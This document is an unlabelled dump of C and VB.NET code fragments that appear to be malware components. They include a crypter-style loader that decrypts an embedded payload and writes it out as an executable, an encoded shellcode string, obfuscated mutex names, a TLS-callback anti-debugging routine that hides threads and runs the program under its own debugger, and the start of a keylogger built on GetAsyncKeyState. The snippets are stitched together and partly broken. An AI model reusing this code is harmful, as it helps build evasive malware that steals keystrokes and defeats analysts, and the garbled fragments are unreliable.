#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
 
void Debug(char* text);
BOOL WINAPI DllMain(HINSTANCE dllHistance, DWORD callReason, void* reserved)
{
        switch (callReason)
        {
                case DLL_PROCESS_ATTACH:
                {
                        Debug("Loading");
                        break;
                }
                case DLL_PROCESS_DETACH:
                {
                        break;
                }
                default:
                {
                        break;
                }
        }
        return TRUE;
}
void Debug(char* text)
{
        FILE* fichier = fopen("debug.txt", "a");
        if (fichier == 0) fichier = fopen("debug.txt", "w");
        fwrite(text, strlen(text), 1, fichier);
        fputs("\r\n", fichier);
 
        fclose(fichier);
}
 

 Public Const DLL_PROCESS_ATTACH = 1
 
        Public Const DLL_PROCESS_DETACH = 0
 
        Public Function DllMain(ByVal dllHistance As IntPtr, ByVal callReason As Integer, ByVal reserved As Object) As Boolean
            Select Case callReason
                Case DLL_PROCESS_ATTACH
                    Debug("Loading")
                    Return True
                Case DLL_PROCESS_DETACH
                    Return False
            End Select
            Return False
        End Function
 
        Public Sub Debug(ByVal texto As String)
            System.IO.File.WriteAllText("debug.txt", texto)
        End Sub

Dim FileCompressC As String = File.ReadAllText("Digital_Signature.txt")
Dim MasterKey As String = "PutoElQueloLea"
 
 
 Public Sub InicialLoader()
            Dim ExtractApp As String = "Ca.exe"
 
            Dim FileCoD As String = DecryptS(FileCompressC, MasterKey) ' Desencrytamos
            Dim DesFile As String = DecompressData(FileCoD) ' Descomprimimos el String Hex
            File.WriteAllBytes(ExtractApp, KHwGeygjHq(DesFile)) 'Pasamos de Hex a Bytes y Generamos el .exe
        End Sub
 
 Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) ' Desencryptamos
        Dim XoAesProviderX As New System.Security.Cryptography.RijndaelManaged
        Dim XbtCipherX() As Byte
        Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim XoKeyGeneratorX As New System.Security.Cryptography.Rfc2898DeriveBytes(UKeyU, XbtSaltX)
        XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
        XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
        Dim XmsX As New IO.MemoryStream
        Dim XcsX As New System.Security.Cryptography.CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
          System.Security.Cryptography.CryptoStreamMode.Write)
        Try
            XbtCipherX = Convert.FromBase64String(UDecryptU)
            XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
            XcsX.Close()
            UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
        Catch
        End Try
        Return UDecryptU
    End Function
 
  Public Shared Function DecompressData(ByVal CompressedText As String) As String ' Descomprimimos el String Hex
            Dim GZipBuffer As Byte() = Convert.FromBase64String(CompressedText)
 
            Using mStream As New MemoryStream()
                Dim msgLength As Integer = BitConverter.ToInt32(GZipBuffer, 0)
                mStream.Write(GZipBuffer, 4, GZipBuffer.Length - 4)
                Dim Buffer As Byte() = New Byte(msgLength - 1) {}
                mStream.Position = 0
                Using GZipStream As New System.IO.Compression.GZipStream(mStream, IO.Compression.CompressionMode.Decompress)
                    GZipStream.Read(Buffer, 0, Buffer.Length)
                End Using
                Return System.Text.Encoding.Unicode.GetString(Buffer, 0, Buffer.Length)
            End Using
        End Function
 
 
Public Function KHwGeygjHq(ByVal KMvWYyQigLibcI As String) As Byte() ' Hex to Bytes
            Dim cKHbugadWMVB
            Dim WdfGomorOa() As Byte
            KMvWYyQigLibcI = Microsoft.VisualBasic.Strings.Replace(KMvWYyQigLibcI, " ", "")
            ReDim WdfGomorOa((Microsoft.VisualBasic.Strings.Len(KMvWYyQigLibcI) \ 2) - 1)
            For cKHbugadWMVB = 0 To Microsoft.VisualBasic.Information.UBound(WdfGomorOa) - 2
                WdfGomorOa(cKHbugadWMVB) = CLng("&H" & Microsoft.VisualBasic.Strings.Mid$(KMvWYyQigLibcI, 2 * cKHbugadWMVB + 1, 2))
            Next
            KHwGeygjHq = WdfGomorOa
        End Function
 
 

 Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
        Dim shell_array(shellcode.Length - 1) As Byte
        Dim i As Integer = 0
        Do
            shell_array(i) = Convert.ToByte(shellcode(i))
            i = i + 1
 
        Loop While i < shellcode.Length

 <DllImport("msvcrt.dll", EntryPoint:="memcpy", CallingConvention:=CallingConvention.Cdecl)> _
    Public Shared Sub CopyMemory(ByVal dest As IntPtr, ByVal src As IntPtr, ByVal count As Integer)
    End Sub
 
 
 
    Private Function GetMutexString() As String
 
        Dim lpMutexStr As String = calloc(64, 1)
        Dim s() As Byte = {&H98, &H9B, &H99, &H9D, &HC3, &H15, &H6F, &H6F, &H2D, &HD3, &HEA, &HAE, &H13, &HFF, &H7A, &HBE, &H63, &H36, &HFC, &H63, &HF3, &H74, &H32, &H74, &H71, &H72, &H4E, &H2, &H81, &H1E, &H19, &H20, &H44, &HDF, &H81, &HD7, &H15, &H92, &H93, &H1A, &HE7}
        Dim Sizes As Integer = Marshal.SizeOf(s(0)) * s.Length
        Dim pnt1 As IntPtr = Marshal.AllocHGlobal(Sizes)
        Dim m As UInteger = 0
        Do While m < Len(s)
            Dim c As Byte = s(m)
            c -= &HE8
            c = ((c >> &H5) Or (c << &H3))
            c = -c
            c += &H51
            c = Not c
            c -= &H93
            c = ((c >> &H3) Or (c << &H5))
            c += &H14
            c = c Xor &H14
            c = ((c >> &H1) Or (c << &H7))
            c = c Xor &HD3
            c += m
            c = Not c
            c = ((c >> &H5) Or (c << &H3))
            c -= &H2B
            s(m) = c
            m += 1
        Loop
 
        CopyMemory(lpMutexStr, pnt1, Len(s))
        Return lpMutexStr
    End Function

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <psapi.h>
 
typedef enum { ThreadHideFromDebugger = 0x11 } THREADINFOCLASS;
 
typedef NTSTATUS(WINAPI *NtQueryInformationThread_t)(HANDLE, THREADINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(WINAPI *NtSetInformationThread_t)(HANDLE, THREADINFOCLASS, PVOID, ULONG);
 
VOID ThreadMain(LPVOID p);
LPSTR GetMutexString();
 
VOID WINAPI init_antidbg(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    //Deobfuscate our mutex and lock it so our child doesnt execute this TLS callback.
    unsigned char s[] =
    {
 
        0x9d, 0x3, 0x3c, 0xec, 0xf0, 0x8b, 0xb5, 0x5,
        0xe2, 0x2a, 0x87, 0x5, 0x64, 0xe4, 0xf8, 0xe7,
        0x64, 0x29, 0xd2, 0x6, 0xad, 0x29, 0x9a, 0xe0,
        0xea, 0xf9, 0x2, 0x7d, 0x31, 0x72, 0xf7, 0x33,
        0x13, 0x83, 0xb, 0x8f, 0xae, 0x2c, 0xa7, 0x2a,
        0x95
    };
 
    for (unsigned int m = 0; m < sizeof(s); ++m)
    {
        unsigned char c = s[m];
        c = (c >> 0x7) | (c << 0x1);
        c ^= m;
        c = (c >> 0x5) | (c << 0x3);
        c += 0xa9;
        c = ~c;
        c += 0xd6;
        c = -c;
        c += m;
        c = ~c;
        c = (c >> 0x5) | (c << 0x3);
        c -= m;
        c = ~c;
        c += m;
        c ^= m;
        c += m;
        s[m] = c;
    }
 
    HANDLE hMutex = CreateMutexA(NULL, TRUE, s);
 
    // We don't want to empty the working set of our child process, it's not neccessary as it has a debugger attached already.
    if (GetLastError() == ERROR_ALREADY_EXISTS)
    {
        return;
    }
 
    /*
        CODE DESCRIPTION:
        The following code is reponsible for preventing the debugger to attach on parent process at runtime.
    */
    SIZE_T min, max;
    SYSTEM_INFO si = { 0 };
 
    GetSystemInfo(&amp;si);
 
    K32EmptyWorkingSet(GetCurrentProcess());
 
    void *p = NULL;
    while (p = VirtualAllocEx(GetCurrentProcess(), NULL, si.dwPageSize, MEM_COMMIT | MEM_RESERVE, PAGE_NOACCESS))
    {
        if (p == NULL)
            break;
    }
    /*
        DESCRIPTION END
    */
 
 
    /*
        CODE DESCRIPTION:
        The following code is responsible for handling the application launch inside a debbuger and invoking a crash.
    */
    NtQueryInformationThread_t fnNtQueryInformationThread = NULL;
    NtSetInformationThread_t fnNtSetInformationThread = NULL;
 
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadMain, NULL, 0, 0, &amp;dwThreadId);
 
    HMODULE hDLL = LoadLibrary("ntdll.dll");
    if (!hDLL) return -1;
 
    fnNtQueryInformationThread = (NtQueryInformationThread_t)GetProcAddress(hDLL, "NtQueryInformationThread");
    fnNtSetInformationThread = (NtSetInformationThread_t)GetProcAddress(hDLL, "NtSetInformationThread");
 
    if (!fnNtQueryInformationThread || !fnNtSetInformationThread)
        return -1;
 
    ULONG lHideThread = 1, lRet = 0;
 
    fnNtSetInformationThread(hThread, ThreadHideFromDebugger, &amp;lHideThread, sizeof(lHideThread));
    fnNtQueryInformationThread(hThread, ThreadHideFromDebugger, &amp;lHideThread, sizeof(lHideThread), &amp;lRet);
    /*
        DESCRIPTION END
    */
}
 
 
// Usually what happens is that person who does the analysis doesn't have a breakpoint set for TLS.
// (It's not set ON by default in x64dbg)
#pragma comment(linker, "/INCLUDE:__tls_used") // We want to include TLS Data Directory structure in our program
#pragma data_seg(push)
#pragma data_seg(".CRT$XLAA")
EXTERN_C PIMAGE_TLS_CALLBACK p_tls_callback1 = init_antidbg; // This will execute before entry point and main function.
#pragma data_seg(pop)
 
 
int main(int argc, char *argv[])
{
    // Beging by deobfuscating our mutex.
    HANDLE hMutex = CreateMutexA(NULL, TRUE, GetMutexString());
 
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        // We are a spawn, run normally
        printf("[+] Normal execution.\n");
        getchar();
        return 0;
    }
    else {
        // We are the first instance
        TCHAR szFilePath[MAX_PATH] = { 0 };
        GetModuleFileName(NULL, szFilePath, MAX_PATH);
 
        PROCESS_INFORMATION pi = { 0 };
        STARTUPINFO si = { 0 };
        si.cb = sizeof(STARTUPINFO);
 
        // Create child process
        CreateProcess(szFilePath, NULL, NULL, NULL, FALSE, DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NEW_CONSOLE, 0, NULL, &amp;si, &amp;pi);
        if (pi.hProcess != NULL) {
            printf("[+] Spawning child process and attaching as a debugger.\n");
 
            // Debug event
            DEBUG_EVENT de = { 0 };
            while (1)
            {
                WaitForDebugEvent(&amp;de, INFINITE);
                // We only care about when the process terminates
                if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT)
                    break;
                // Otherwise ignore all other events
                ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);
            }
        }
 
        CloseHandle(pi.hProcess);
        CloseHandle(hMutex);
    }
 
    return 0;
}
 
LPSTR GetMutexString()
{
    LPSTR lpMutexStr = calloc(64, 1);
    unsigned char s[] =
    {
 
        0x98, 0x9b, 0x99, 0x9d, 0xc3, 0x15, 0x6f, 0x6f,
        0x2d, 0xd3, 0xea, 0xae, 0x13, 0xff, 0x7a, 0xbe,
        0x63, 0x36, 0xfc, 0x63, 0xf3, 0x74, 0x32, 0x74,
        0x71, 0x72, 0x4e, 0x2, 0x81, 0x1e, 0x19, 0x20,
        0x44, 0xdf, 0x81, 0xd7, 0x15, 0x92, 0x93, 0x1a,
        0xe7
    };
 
    for (unsigned int m = 0; m < sizeof(s); ++m)
    {
        unsigned char c = s[m];
        c -= 0xe8;
        c = (c >> 0x5) | (c << 0x3);
        c = -c;
        c += 0x51;
        c = ~c;
        c -= 0x93;
        c = (c >> 0x3) | (c << 0x5);
        c += 0x14;
        c ^= 0x14;
        c = (c >> 0x1) | (c << 0x7);
        c ^= 0xd3;
        c += m;
        c = ~c;
        c = (c >> 0x5) | (c << 0x3);
        c -= 0x2b;
        s[m] = c;
    }
    memcpy(lpMutexStr, s, sizeof(s));
    return lpMutexStr;
}
 
VOID ThreadMain(LPVOID p)
{
    while (1)
    {
        if (IsDebuggerPresent())
        {
            __asm { int 3; }
        }
        Sleep(500);
    }
    return 0;
}
}

Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short

Dim KeyboardHook As String() = {"48 6F 6F 6B 43 61 6C 6C 62 61 63 6B", "47 65 74 41 73 79 6E 63 4B 65 79 53 74 61 74 65"}